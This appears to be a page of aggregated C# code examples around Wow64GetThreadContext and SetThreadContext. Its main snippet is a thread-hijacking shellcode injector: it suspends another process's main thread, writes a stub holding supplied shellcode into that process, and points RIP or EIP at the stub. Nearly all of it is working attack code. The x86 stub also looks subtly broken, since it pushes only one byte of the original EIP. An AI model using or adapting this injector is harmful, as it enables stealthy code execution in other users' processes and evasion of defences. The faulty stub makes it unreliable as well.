Example #1
0
        ////////////////////////////////////////////////////////////////////////////////
        ////////////////////////////////////////////////////////////////////////////////
        private Boolean GetContext32()
        {
            context32 = new Winnt.CONTEXT()
            {
                ContextFlags = Winnt.CONTEXT_FLAGS.CONTEXT_FULL
            };
            try
            {
                Console.WriteLine("[*] Getting Thread Context");
                kernel32.IsWow64Process(lpProcessInformation.hProcess, out Boolean isWow64);
                if (isWow64)
                {
                    kernel32.Wow64GetThreadContext(lpProcessInformation.hThread, ref context32);
                }
                else
                {
                    kernel32.GetThreadContext(lpProcessInformation.hThread, ref context32);
                }
            }
            catch (Exception)
            {
                Console.WriteLine("[-] GetThreadContext (32) Failed");
            }

            Console.WriteLine("[*] EAX Address: 0x{0}", context32.Eax.ToString("X4"));
            Console.WriteLine("[*] EBX Address: 0x{0}", context32.Ebx.ToString("X4"));
            return(true);
        }
Example #2
0
 public static extern bool Wow64GetThreadContext(IntPtr hThread, ref Winnt.CONTEXT lpContext);
Example #3
0
 public static extern Boolean Wow64SetThreadContext(IntPtr hThread, ref Winnt.CONTEXT lpContext);
Example #4
0
        ////////////////////////////////////////////////////////////////////////////////
        // Main Execution Function
        ////////////////////////////////////////////////////////////////////////////////
        internal void Execute()
        {
            if (Process.GetCurrentProcess().Id == processId)
            {
                return;
            }

            hProcess = kernel32.OpenProcess(ProcessThreadsApi.ProcessSecurityRights.PROCESS_VM_OPERATION
                                            | ProcessThreadsApi.ProcessSecurityRights.PROCESS_VM_WRITE
                                            | ProcessThreadsApi.ProcessSecurityRights.PROCESS_QUERY_INFORMATION, false, processId);
            if (IntPtr.Zero == hProcess)
            {
                Console.WriteLine("[-] OpenProcess Failed");
                return;
            }
            Console.WriteLine("[+] Recieved Process Handle: 0x{0}", hProcess.ToString("X4"));

            Int32 threadId = Process.GetProcessById((int)processId).Threads[0].Id;

            Console.WriteLine("[+] Main Thread ID: {0}", threadId);
            hThread = kernel32.OpenThread(
                ProcessThreadsApi.ThreadSecurityRights.THREAD_GET_CONTEXT |
                ProcessThreadsApi.ThreadSecurityRights.THREAD_SET_CONTEXT |
                ProcessThreadsApi.ThreadSecurityRights.THREAD_SUSPEND_RESUME,
                false,
                (UInt32)threadId);
            Console.WriteLine("[+] Recieved Thread Handle: 0x{0}", hThread.ToString("X4"));

            if (-1 == kernel32.SuspendThread(hThread))
            {
                Console.WriteLine("[-] SuspendThread Failed");
                return;
            }
            Console.WriteLine("[*] Suspended Thread");

            ////////////////////////////////////////////////////////////////////////////////
            // x64 Target Process
            ////////////////////////////////////////////////////////////////////////////////
            if (Misc.Is64BitProcess(hProcess))
            {
                Winnt.CONTEXT64 context = new Winnt.CONTEXT64();
                context.ContextFlags = Winnt.CONTEXT_FLAGS64.CONTEXT_FULL;
                if (!kernel32.GetThreadContext(hThread, ref context))
                {
                    Console.WriteLine("[-] GetThreadContext (64) Failed");
                    return;
                }
                Console.WriteLine("[*] Retrieving Thread Context");
                Console.WriteLine("[*] Original RIP: 0x{0}", context.Rip.ToString("X4"));

                System.Collections.Generic.IEnumerable <Byte> stub = new Byte[] { };
                stub = stub.Concat(shellcode);
                stub = stub.Concat(new Byte[] { 0x48, 0xb8 });          // MOV RAX...
                stub = stub.Concat(BitConverter.GetBytes(context.Rip)); // ...RIP
                stub = stub.Concat(new Byte[] { 0xff, 0xe0 });          // JMP RAX

                context.Rip = (UInt64)AllocateAndWriteMemory(stub.ToArray());
                Console.WriteLine("[+] Updated RIP: 0x{0}", context.Rip.ToString("X4"));

                if (!kernel32.SetThreadContext(hThread, ref context))
                {
                    Console.WriteLine("[-] SetThreadContext (64) Failed");
                    return;
                }

                if (!kernel32.GetThreadContext(hThread, ref context))
                {
                    Console.WriteLine("[-] GetThreadContext(2) (32) Failed");
                    return;
                }
                Console.WriteLine("[*] Checking RIP: 0x{0}", context.Rip.ToString("X4"));
            }
            ////////////////////////////////////////////////////////////////////////////////
            // x86 Target Process
            ////////////////////////////////////////////////////////////////////////////////
            else
            {
                Winnt.CONTEXT context = new Winnt.CONTEXT();
                context.ContextFlags = Winnt.CONTEXT_FLAGS.CONTEXT_ALL;
                if (!kernel32.Wow64GetThreadContext(hThread, ref context))
                {
                    Console.WriteLine("[-] GetThreadContext (32) Failed");

                    return;
                }
                Console.WriteLine("[*] Retrieving Thread Context");
                Console.WriteLine("[*] Original EIP: 0x{0}", context.Eip.ToString("X4"));

                System.Collections.Generic.IEnumerable <Byte> stub = new Byte[] { };
                stub = stub.Concat(new Byte[] { 0x68 });                                  // PUSH...
                stub = stub.Concat(new Byte[] { BitConverter.GetBytes(context.Eip)[0] }); // ...EIP
                stub = stub.Concat(new Byte[] { 0x60, 0x9C });                            // PUSHAD PUSHFD
                stub = stub.Concat(shellcode);
                stub = stub.Concat(new Byte[] { 0x9D, 0x61, 0xC3 });                      // POPFD POPAD RET

                context.Eip = (UInt32)AllocateAndWriteMemory(stub.ToArray());
                Console.WriteLine("[+] Updated EIP: 0x{0}", context.Eip.ToString("X4"));

                if (!kernel32.Wow64SetThreadContext(hThread, ref context))
                {
                    Console.WriteLine("[-] SetThreadContext (32) Failed");
                    return;
                }
                Console.WriteLine("[+] Updated Thread Context");

                if (!kernel32.Wow64GetThreadContext(hThread, ref context))
                {
                    Console.WriteLine("[-] GetThreadContext(2) (32) Failed");
                    return;
                }
                Console.WriteLine("[*] Checking EIP: 0x{0}", context.Eip.ToString("X4"));
            }
            Console.WriteLine("[*] Resuming Thread");
        }